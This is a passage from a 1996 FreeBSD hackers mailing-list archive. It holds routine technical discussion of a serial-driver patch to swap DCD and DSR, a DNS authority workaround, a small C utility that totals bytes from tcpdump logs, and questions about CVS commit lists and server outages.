distribution for this. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Jun 29 06:49:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA03120 for hackers-outgoing; Sat, 29 Jun 1996 06:49:04 -0700 (PDT) Received: from rocky.mt.sri.com ([206.127.76.100]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA03114 for ; Sat, 29 Jun 1996 06:49:02 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id HAA02995; Sat, 29 Jun 1996 07:48:52 -0600 (MDT) Date: Sat, 29 Jun 1996 07:48:52 -0600 (MDT) Message-Id: <199606291348.HAA02995@rocky.mt.sri.com> From: Nate Williams To: Thomas Graichen Cc: hackers@freebsd.org Subject: Re: committer needed In-Reply-To: <199606291152.NAA19982@titania.physik.fu-berlin.de> References: <199606291152.NAA19982@titania.physik.fu-berlin.de> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > can someone please commit these changes to the stable tree (i currently don't > have the time and the connection to freefall to do it by myself) Done. I only committed them to stable, though since I don't have alot of time (leaving in 5 minutes for some morning garage sales.) Nate From owner-freebsd-hackers Sat Jun 29 07:01:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA03749 for hackers-outgoing; Sat, 29 Jun 1996 07:01:00 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA03740 for ; Sat, 29 Jun 1996 07:00:51 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id QAA02700; Sat, 29 Jun 1996 16:00:00 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id QAA15724; Sat, 29 Jun 1996 16:00:00 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id PAA28261; Sat, 29 Jun 1996 15:00:38 +0200 (MET DST) From: J Wunsch Message-Id: <199606291300.PAA28261@uriah.heep.sax.de> Subject: Re: BIND/named experts? To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sat, 29 Jun 1996 15:00:38 +0200 (MET DST) Cc: nate@mt.sri.com Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: from Tom Samplonius at "Jun 28, 96 11:21:45 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Tom Samplonius wrote: > This is the standard resolver behaviour. It tries with the domain name > appended first, and if that fails, it will try without. > > I suspect that the second query it not working because your name server > is not authoritative for the .sri.com. The usual workaround for this is making your nameserver authoritative for sri.com, i.e., make it an unofficial secondary. That's the essence of the stuff i once gave to you, Nate. :) (I'm still using this myself here, behind a part-time dialup SLIP connection.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Jun 29 08:24:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA08683 for hackers-outgoing; Sat, 29 Jun 1996 08:24:09 -0700 (PDT) Received: from guardian.fortress.org (fortress.org [199.84.158.128]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA08642 for ; Sat, 29 Jun 1996 08:23:55 -0700 (PDT) Received: (from andrew@localhost) by guardian.fortress.org (8.6.12/8.6.12) id LAA00927; Sat, 29 Jun 1996 11:24:08 -0400 Date: Sat, 29 Jun 1996 11:24:08 -0400 (EDT) From: Andrew Webster Reply-To: andrew@pubnix.net To: hackers@freebsd.org Subject: SWAP DCD & DSR in sio.c + Question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I recently got a BocaBoard 16 port box for my FreeBSD system. Much to my shock & horror, it uses 10 pin RJ45s (RJ69 expensive and hard to get), with DCD on pin 1. So I figured, there isn't much that can't be fixed with a little software, and I patched sio.c to SWAP DCD and DSR signals. The patch works by assigning the flag 0x0010 to indicate that DCD and DSR should be swapped (this is a standard option on Digiboard products, with RJ45s, it seems). So a line like sio8 at isa? port 0x100 tty flags 0x1715 would do the trick. If anyone is interested in this, the diffs from 2.1.0-STABLE are at the end of this message. What if one wanted have more than 32 sio ports on a system? Can sio.c be patched to support upto 64 ports? I created siox.c which is a clone of sio.c except that it shows up as siox in the drivers. How do I assign a different major number to it? --- cut here --- *** sio.c.orig Thu Sep 14 03:09:28 1995 --- sio.c Sat Jun 29 11:20:24 1996 *************** *** 32,37 **** --- 32,38 ---- * * from: @(#)com.c 7.5 (Berkeley) 5/16/91 * $Id: sio.c,v 1.99.4.1 1995/09/14 07:09:28 davidg Exp $ + * Added DCD/DSR swap - aw */ #include "sio.h" *************** *** 90,95 **** --- 91,101 ---- #define COM_LOSESOUTINTS(dev) ((dev)->id_flags & 0x08) #define COM_NOFIFO(dev) ((dev)->id_flags & 0x02) #define COM_VERBOSE(dev) ((dev)->id_flags & 0x80) + #define COM_SWAPDCDDSR(dev) ((dev)->id_flags & 0x10) + + #define SWAPMASKDCD (MSR_DCD | MSR_DDCD) + #define SWAPMASKDSR (MSR_DSR | MSR_DDSR) + #define SWAPMASKDCDDSR (SWAPMASKDCD | SWAPMASKDSR) #define com_scr 7 /* scratch register for 16450-16550 (R/W) */ *************** *** 168,173 **** --- 174,180 ---- #ifdef COM_MULTIPORT bool_t multiport; /* is this unit part of a multiport device? */ #endif /* COM_MULTIPORT */ + bool_t swapdcddsr; bool_t no_irq; /* nonzero if irq is not attached */ bool_t poll; /* nonzero if polling is required */ bool_t poll_output; /* nonzero if polling for output is required */ *************** *** 422,427 **** --- 429,435 ---- } } #endif /* COM_MULTIPORT */ + if (idev->id_irq == 0) mcr_image = 0; *************** *** 695,700 **** --- 703,712 ---- outb(iobase + com_fifo, 0); determined_type: ; + if (COM_SWAPDCDDSR(isdp)) { + com->swapdcddsr = TRUE; + printf (" dsr<>dcd "); + } #ifdef COM_MULTIPORT if (COM_ISMULTIPORT(isdp)) { com->multiport = TRUE; *************** *** 766,771 **** --- 778,784 ---- int s; struct tty *tp; int unit; + u_char tmp1; mynor = minor(dev); unit = MINOR_TO_UNIT(mynor); *************** *** 871,878 **** disable_intr(); (void) inb(com->line_status_port); (void) inb(com->data_port); ! com->prev_modem_status = com->last_modem_status ! = inb(com->modem_status_port); outb(iobase + com_ier, IER_ERXRDY | IER_ETXRDY | IER_ERLS | IER_EMSC); enable_intr(); --- 884,900 ---- disable_intr(); (void) inb(com->line_status_port); (void) inb(com->data_port); ! tmp1 = inb(com->modem_status_port); ! if (com->swapdcddsr) ! com->prev_modem_status = com->last_modem_status = ! ((tmp1 & ~SWAPMASKDCDDSR) ! | ((tmp1 & SWAPMASKDCD) >> 2) ! | ((tmp1 & SWAPMASKDSR) << 2)); ! else ! com->prev_modem_status = com->last_modem_status = tmp1; ! ! ! outb(iobase + com_ier, IER_ERXRDY | IER_ETXRDY | IER_ERLS | IER_EMSC); enable_intr(); *************** *** 1118,1123 **** --- 1140,1146 ---- u_char modem_status; u_char *ioptr; u_char recv_data; + u_char tmp1; if (com->do_timestamp) /* XXX a little bloat here... */ *************** *** 1204,1210 **** } /* modem status change? (always check before doing output) */ ! modem_status = inb(com->modem_status_port); if (modem_status != com->last_modem_status) { /* * Schedule high level to handle DCD changes. Note --- 1227,1239 ---- } /* modem status change? (always check before doing output) */ ! tmp1 = inb(com->modem_status_port); ! if (com->swapdcddsr) ! modem_status = ((tmp1 & ~SWAPMASKDCDDSR) ! | ((tmp1 & SWAPMASKDCD) >> 2) ! | ((tmp1 & SWAPMASKDSR) << 2)); ! else ! modem_status = tmp1; if (modem_status != com->last_modem_status) { /* * Schedule high level to handle DCD changes. Note --- cut here --- Andrew Webster - andrew@pubnix.net - http://www.pubnix.net PubNIX Montreal - Connected to the world - Branche au monde 514-990-5911 - P.O. Box 147, Cote St-Luc, Quebec, H4V 2Y3 From owner-freebsd-hackers Sat Jun 29 08:37:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA09520 for hackers-outgoing; Sat, 29 Jun 1996 08:37:13 -0700 (PDT) Received: from tombstone.sunrem.com (tombstone.sunrem.com [206.81.134.54]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA09515 for ; Sat, 29 Jun 1996 08:37:09 -0700 (PDT) Received: (from brandon@localhost) by tombstone.sunrem.com (8.6.12/8.6.12) id JAA14367; Sat, 29 Jun 1996 09:37:02 -0600 Date: Sat, 29 Jun 1996 09:37:01 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@freebsd.org Subject: tcpdump etc Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm looking for a script that will sit on top of tcpdump and simply record the total bytes used by each system it receives information about (i.e. externally giving some of the same information as 'netstat -s'). I've been working on writing some scripts that would handle this, but my comprehension of what tcpdump reports is minimal at best. Has anybody worked on something of the same goal? If failing at that, at least a 'trafshow' that doesn't reset its count periodically. -Brandon Gillespie From owner-freebsd-hackers Sat Jun 29 10:50:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA17028 for hackers-outgoing; Sat, 29 Jun 1996 10:50:33 -0700 (PDT) Received: from rocky.mt.sri.com ([206.127.76.100]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA17023 for ; Sat, 29 Jun 1996 10:50:30 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id LAA03699; Sat, 29 Jun 1996 11:50:08 -0600 (MDT) Date: Sat, 29 Jun 1996 11:50:08 -0600 (MDT) Message-Id: <199606291750.LAA03699@rocky.mt.sri.com> From: Nate Williams To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Cc: freebsd-hackers@freebsd.org (FreeBSD hackers), nate@mt.sri.com, Tom Samplonius Subject: Re: BIND/named experts? In-Reply-To: <199606291300.PAA28261@uriah.heep.sax.de> References: <199606291300.PAA28261@uriah.heep.sax.de> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [ Problems with DNS getting 'locked' up due to DNS switching ] > > This is the standard resolver behaviour. It tries with the domain name > > appended first, and if that fails, it will try without. > > > > I suspect that the second query it not working because your name server > > is not authoritative for the .sri.com. > > The usual workaround for this is making your nameserver authoritative > for sri.com, i.e., make it an unofficial secondary. That's the > essence of the stuff i once gave to you, Nate. :) (I'm still using > this myself here, behind a part-time dialup SLIP connection.) I forgot about doing this, since in the past it wasn't a big deal since my provider was providing me name-space, so going to them was trivial if the link was up. Now that we're under a namespace where the authoratative servers are 1000 miles away, 'faking authority' seems a much better solution, so that's what I've done. Thanks for reminding me, and let's hope this things stays working. (Thinks are pretty snappy right now, so I suspect everythings should continue working great!) Thanks everyone! Nate From owner-freebsd-hackers Sat Jun 29 19:01:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA01795 for hackers-outgoing; Sat, 29 Jun 1996 19:01:04 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA01716 for ; Sat, 29 Jun 1996 19:01:00 -0700 (PDT) Received: from hauki.clinet.fi (root@hauki.clinet.fi [194.100.0.1]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id RAA20386 for ; Sat, 29 Jun 1996 17:22:46 -0700 Received: from cantina.clinet.fi (root@cantina.clinet.fi [194.100.0.15]) by hauki.clinet.fi (8.7.5/8.6.4) with ESMTP id XAA03989 for ; Sat, 29 Jun 1996 23:40:58 +0300 (EET DST) Received: (hsu@localhost) by cantina.clinet.fi (8.7.5/8.6.4) id XAA19042; Sat, 29 Jun 1996 23:40:57 +0300 (EET DST) Date: Sat, 29 Jun 1996 23:40:57 +0300 (EET DST) Message-Id: <199606292040.XAA19042@cantina.clinet.fi> From: Heikki Suonsivu To: freebsd-hackers@FreeBSD.ORG Subject: Alternate lists for more verbose CVS commit messages? Organization: Clinet Ltd, Espoo, Finland Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I often would like to know more about problems certain commit might fix, and see what modifications were committed. Could it be possible to create alternate commit lists which would receive detailed commit messages ? Getting a full CVS diff would be helpful, if nothing else. -- Heikki Suonsivu, T{ysikuu 10 C 83/02210 Espoo/FINLAND, hsu@clinet.fi mobile +358-40-5519679 work +358-0-4375360 fax -4555276 home -8031121 From owner-freebsd-hackers Sat Jun 29 19:02:43 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA01973 for hackers-outgoing; Sat, 29 Jun 1996 19:02:43 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA01947 for ; Sat, 29 Jun 1996 19:02:39 -0700 (PDT) Received: from midnight.keanesea.com (midnight.keanesea.com [206.213.110.9]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id QAA20172 for ; Sat, 29 Jun 1996 16:47:50 -0700 Received: (from cyrusgr@localhost) by midnight.keanesea.com (8.7.4/8.7.3) id QAA13037; Sat, 29 Jun 1996 16:37:57 +0800 Date: Sat, 29 Jun 1996 16:37:56 +0800 (GMT-8) From: Cyrus Gray To: hackers@FreeBSD.ORG Subject: Listservers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Where could I get a listserver for FreeBSD? From owner-freebsd-hackers Sat Jun 29 19:05:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA02785 for hackers-outgoing; Sat, 29 Jun 1996 19:05:59 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA02761 for ; Sat, 29 Jun 1996 19:05:54 -0700 (PDT) Received: from news1.gtn.com (news1.gtn.com [192.109.159.3]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id PAA19652 for ; Sat, 29 Jun 1996 15:30:21 -0700 Received: (from uucp@localhost) by news1.gtn.com (8.7.2/8.7.2) id AAA01125 for hackers@freebsd.org; Sun, 30 Jun 1996 00:15:17 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by klemm.gtn.com (8.7.5/8.7.3) with SMTP id AAA00456 for ; Sun, 30 Jun 1996 00:24:05 +0200 (MET DST) Date: Sun, 30 Jun 1996 00:24:04 +0200 (MET DST) From: Andreas Klemm To: hackers@FreeBSD.ORG Subject: cvs.freebsd.org down ??? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk traceroute to freefall.freebsd.org (204.216.27.4), 30 hops max, 40 byte packets 1 gtn-isdn (194.77.2.33) 28.515 ms 28.729 ms 27.858 ms 2 192.168.1.2 (192.168.1.2) 32.154 ms 30.269 ms 42.480 ms 3 gtnne-cisco1.dpn.de (194.77.0.1) 33.808 ms 32.195 ms 32.848 ms 4 Vienna3.VA.ALTER.NET (137.39.156.245) 494.032 ms 534.910 ms 483.298 ms 5 Fddi0/0.Vienna6.VA.Alter.Net (137.39.11.11) 456.971 ms * * 6 Hssi2/0.CR1.DCA1.Alter.Net (137.39.100.77) 399.209 ms 465.345 ms 378.672 ms 7 101.Hssi4/0.CR1.SCL1.Alter.Net (137.39.30.18) 464.306 ms 407.932 ms * 8 Hssi3/0.San-Jose3.CA.Alter.Net (137.39.100.1) 555.933 ms 461.657 ms 444.903 ms 9 T3-CRL-SFO-01-H1/0.US.CRL.NET (198.32.136.10) 471.570 ms 483.397 ms * 10 T3-CRL-SFO-01-H3/0.US.CRL.NET (149.20.64.19) 855.722 ms 554.694 ms 671.614 ms 11 E0-CRL-SFO-02-E0/0.US.CRL.NET (165.113.55.2) 488.079 ms 462.077 ms 456.654 ms 12 * T1-CDROM-00-EX.US.CRL.NET (165.113.118.2) 341.916 ms 492.801 ms 13 * * * 14 * * * 15 * * * 16 * * * 17 * * * 18 * * * andreas@klemm.gtn.com /\/\___ Wiechers & Partner Datentechnik GmbH Andreas Klemm ___/\/\/ Support Unix -- andreas.klemm@wup.de pgp p-key http://www-swiss.ai.mit.edu/~bal/pks-toplev.html >>> powered by <<< ftp://sunsite.unc.edu/pub/Linux/system/Printing/aps-491.tgz >>> FreeBSD <<< From owner-freebsd-hackers Sat Jun 29 19:07:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA17028 for hackers-outgoing; Sat, 29 Jun 1996 10:50:33 -0700 (PDT) Received: from rocky.mt.sri.com ([206.127.76.100]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA17023 for ; Sat, 29 Jun 1996 10:50:30 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id LAA03699; Sat, 29 Jun 1996 11:50:08 -0600 (MDT) Date: Sat, 29 Jun 1996 11:50:08 -0600 (MDT) Message-Id: <199606291750.LAA03699@rocky.mt.sri.com> From: Nate Williams To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Cc: freebsd-hackers@FreeBSD.ORG (FreeBSD hackers), nate@mt.sri.com, Tom Samplonius Subject: Re: BIND/named experts? In-Reply-To: <199606291300.PAA28261@uriah.heep.sax.de> References: <199606291300.PAA28261@uriah.heep.sax.de> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [ Problems with DNS getting 'locked' up due to DNS switching ] > > This is the standard resolver behaviour. It tries with the domain name > > appended first, and if that fails, it will try without. > > > > I suspect that the second query it not working because your name server > > is not authoritative for the .sri.com. > > The usual workaround for this is making your nameserver authoritative > for sri.com, i.e., make it an unofficial secondary. That's the > essence of the stuff i once gave to you, Nate. :) (I'm still using > this myself here, behind a part-time dialup SLIP connection.) I forgot about doing this, since in the past it wasn't a big deal since my provider was providing me name-space, so going to them was trivial if the link was up. Now that we're under a namespace where the authoratative servers are 1000 miles away, 'faking authority' seems a much better solution, so that's what I've done. Thanks for reminding me, and let's hope this things stays working. (Thinks are pretty snappy right now, so I suspect everythings should continue working great!) Thanks everyone! Nate From owner-freebsd-hackers Sat Jun 29 19:09:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA03285 for hackers-outgoing; Sat, 29 Jun 1996 19:09:10 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA03267 for ; Sat, 29 Jun 1996 19:09:07 -0700 (PDT) Received: from cedb.dpcsys.com (cedb.DPCSYS.COM [165.90.143.3]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id OAA18882 for ; Sat, 29 Jun 1996 14:37:26 -0700 Received: from cedb (cedb.DPCSYS.COM [165.90.143.3]) by cedb.dpcsys.com (8.6.10/DPC-1.0) with SMTP id OAA27302; Sat, 29 Jun 1996 14:29:22 -0700 Date: Sat, 29 Jun 1996 14:29:22 -0700 (PDT) From: Dan Busarow X-Sender: dan@cedb To: Brandon Gillespie cc: freebsd-hackers@FreeBSD.ORG Subject: Re: tcpdump etc In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 29 Jun 1996, Brandon Gillespie wrote: > I'm looking for a script that will sit on top of tcpdump and simply > record the total bytes used by each system it receives information about Here's what I use on a log file generated by tcpdump -t -n -q gateway Each site I'm interested in has their own log file so no site name logic is required. Dan -- Dan Busarow 714 443 4172 DPC Systems dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 #include #include #include #include #include char progname[256]; char errbuf[132]; main(int argc, char **argv) { FILE *fp; char *cp; long bytes = 0; char filename[64]; char line[255]; int daily = 0; time_t now; strcpy(progname, argv[0]); while(argc > 1 && argv[1][0] == '-') { switch(argv[1][1]) { case 'd': daily = 1; break; } argc--; argv++; } if(argc == 2) strcpy(filename, argv[1]); else { printf("usage: %s [-d] filename\n", progname); printf(" -d daily run\n"); exit(1); } if((fp = fopen(filename, "r")) == (FILE *)NULL) { printf("could not open %s\n", filename); exit(1); } while(fgets(line, 132, fp) != (char *)NULL) { cp = strtok(line, " "); while((cp = strtok((char *)NULL, " ")) != (char *)NULL) { if(!strcmp(cp, "tcp") || !strcmp(cp, "udp")) { cp = strtok((char *)NULL, " "); bytes += strtol(cp, (char **)NULL, 10); } } } fclose(fp); if(daily) { now = time(0); strftime(errbuf, 24, "%Y%m%d %H:%M ", localtime(&now)); printf("%s %12ld\n", errbuf, bytes); truncate(filename, 0); } else printf("Total bytes = %ld\n", bytes); } From owner-freebsd-hackers Sat Jun 29 20:02:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA04063 for hackers-outgoing; Sat, 29 Jun 1996 19:17:37 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA03994 for ; Sat, 29 Jun 1996 19:15:59 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id MAA18132 for ; Sat, 29 Jun 1996 12:23:04 -0700 Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-2) with ESMTP id UAA13619; Sat, 29 Jun 1996 20:03:43 +0100 (BST) To: Don Yuniskis cc: freebsd-hackers@freefall.freebsd.org (FreeBSD hackers) From: "Gary Palmer" Subject: Re: freefall.mc patch In-reply-to: Your message of "Sat, 29 Jun 1996 05:41:19 PDT." <199606291241.FAA12411@seagull.rtd.com> Date: Sat, 29 Jun 1996 20:03:43 +0100 Message-ID: <13617.836075023@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Don Yuniskis wrote in message ID <199606291241.FAA12411@seagull.rtd.com>: > Greetings! > Another "no-brainer" diff... Damned if *I* can see where this was > used in the new scheme of things... > define(`UUCP_RELAY', ucbvax.Berkeley.EDU)dnl > define(`BITNET_RELAY', mailhost.Berkeley.EDU)dnl > - define(`CSNET_RELAY', mailhost.Berkeley.EDU)dnl Actually, none of the 3 lines that I've left in above are any use, to my knowledge the UUCP_RELAY machine doesn't exist anymore, and I'm not at all sure about the BITNET or CSNET stuff at all. IMHO they should all come out, but since Eric Allman has left them in the generic .cf files he's shipping in sendmail 8.7.x, I haven't raised a fuss. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Sat Jun 29 20:10:54 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA04110 for hackers-outgoing; Sat, 29 Jun 1996 19:17:41 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA04007 for ; Sat, 29 Jun 1996 19:16:21 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id MAA18107 for ; Sat, 29 Jun 1996 12:15:12 -0700 Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id EAA15627; Sun, 30 Jun 1996 04:56:56 +1000 Date: Sun, 30 Jun 1996 04:56:56 +1000 From: Bruce Evans Message-Id: <199606291856.EAA15627@godzilla.zeta.org.au> To: andrew@pubnix.net, hackers@FreeBSD.ORG Subject: Re: SWAP DCD & DSR in sio.c + Question Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I recently got a BocaBoard 16 port box for my FreeBSD system. Much to my >shock & horror, it uses 10 pin RJ45s (RJ69 expensive and hard to get), >with DCD on pin 1. So I figured, there isn't much that can't be fixed >with a little software, and I patched sio.c to SWAP DCD and DSR signals. >The patch works by assigning the flag 0x0010 to indicate that DCD and DSR >should be swapped (this is a standard option on Digiboard products, with >RJ45s, it seems). It might be easier to do this by swapping the #defines. This would only work if swapping is wanted on all sio ports. However, you could clone sio.c to produce a special one with swapping. >What if one wanted have more than 32 sio ports on a system? Wait for devfs. >Can sio.c be patched to support upto 64 ports? No, not without throwing away one set of special minors (lock state would be best). 32 ports seemed enough in 1994 and devfs should have been finished by now :-). >I created siox.c which is a clone of sio.c except that it shows up as >siox in the drivers. How do I assign a different major number to it? Pick one and edit conf.c to add struct entries for it. All (externally referenced) external names for the driver must be unique. This is easier in -current where there is no conf.c and only a couple of external names per driver. Bruce From owner-freebsd-hackers Sat Jun 29 20:13:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA08775 for hackers-outgoing; Sat, 29 Jun 1996 20:13:04 -0700 (PDT) Received: from rocky.mt.sri.com ([206.127.76.100]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA08770 for ; Sat, 29 Jun 1996 20:13:01 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id VAA04727; Sat, 29 Jun 1996 21:12:50 -0600 (MDT) Date: Sat, 29 Jun 1996 21:12:50 -0600 (MDT) Message-Id: <199606300312.VAA04727@rocky.mt.sri.com> From: Nate Williams To: Heikki Suonsivu Cc: freebsd-hackers@freebsd.org Subject: Re: Alternate lists for more verbose CVS commit messages? In-Reply-To: <199606292040.XAA19042@cantina.clinet.fi> References: <199606292040.XAA19042@cantina.clinet.fi> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I often would like to know more about problems certain commit might fix, > and see what modifications were committed. Could it be possible to create > alternate commit lists which would receive detailed commit messages ? Sure, sup/CTM/CVSup the CVS tree and anything you find interesting you can check out for yourself. As far as 'finding' out about which problems might be fixed, if they are not obvious or listed in the commit log then you'll have to figure it out for yourself. > Getting a full CVS diff would be helpful, if nothing else. If you have the CVS tree, then you have the diff. Creating yet-another-mailinglist with something like diffs would use up way too much bandwidth IMHO. Nate From owner-freebsd-hackers Sat Jun 29 20:40:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA10765 for hackers-outgoing; Sat, 29 Jun 1996 20:40:39 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA10725 for ; Sat, 29 Jun 1996 20:40:24 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id UAA13319; Sat, 29 Jun 1996 20:38:30 -0700 (PDT) To: Heikki Suonsivu cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Alternate lists for more verbose CVS commit messages? In-reply-to: Your message of "Sat, 29 Jun 1996 23:40:57 +0300." <199606292040.XAA19042@cantina.clinet.fi> Date: Sat, 29 Jun 1996 20:38:30 -0700 Message-ID: <13317.836105910@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I often would like to know more about problems certain commit might fix, > and see what modifications were committed. Could it be possible to create > alternate commit lists which would receive detailed commit messages ? > Getting a full CVS diff would be helpful, if nothing else. Uh, what's wrong with simply subscribing to a cvs-* list and then cross-referencing the revision numbers mentioned with the http://www.freebsd.org/cgi-bin/cvsweb CGI script to get the diffs you want? Jordan From owner-freebsd-hackers Sat Jun 29 21:50:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA10765 for hackers-outgoing; Sat, 29 Jun 1996 20:40:39 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA10725 for ; Sat, 29 Jun 1996 20:40:24 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id UAA13319; Sat, 29 Jun 1996 20:38:30 -0700 (PDT) To: Heikki Suonsivu cc: freebsd-hackers@FreeBSD.org Subject: Re: Alternate lists for more verbose CVS commit messages? In-reply-to: Your message of "Sat, 29 Jun 1996 23:40:57 +0300." <199606292040.XAA19042@cantina.clinet.fi> Date: Sat, 29 Jun 1996 20:38:30 -0700 Message-ID: <13317.836105910@time.cdrom.com> From: "Jordan K. Hubbard" Sender: 